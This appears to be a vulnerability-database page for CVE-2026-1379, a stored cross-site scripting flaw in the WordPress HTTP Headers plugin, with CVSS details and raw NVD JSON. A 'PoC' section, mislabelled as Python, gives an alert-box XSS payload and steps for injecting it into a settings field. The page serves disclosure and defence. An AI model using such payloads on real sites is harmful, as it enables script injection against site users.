Security Vulnerability Report
中文
CVE-2026-1379 CVSS 4.4 MEDIUM

CVE-2026-1379

Published: 2026-04-22 09:16:20
Last Modified: 2026-04-22 20:22:51

Description

The HTTP Headers plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.19.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress HTTP Headers Plugin <= 1.19.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-1379 Target: WordPress HTTP Headers Plugin <= 1.19.2 --> <script> // Simulating the payload injection // Step 1: Attacker navigates to Admin Dashboard > HTTP Headers > Settings // Step 2: Inject the following payload into a manual header value field var payload = '"><script>alert("CVE-2026-1379_Exploited")</script>'; // Step 3: Save the settings. // The payload is stored in the database without proper sanitization. // Step 4: When any user (including admins) visits the settings page again, // the browser executes the script due to lack of output escaping. console.log("Payload injected: " + payload); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1379", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:19.667", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The HTTP Headers plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.19.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/http-headers/tags/1.19.2/views/manual.php#L18", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/http-headers/trunk/views/manual.php#L18", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/02e63068-02a8-4106-b64e-430c24815e55?source=cve", "source": "[email protected]"}]}}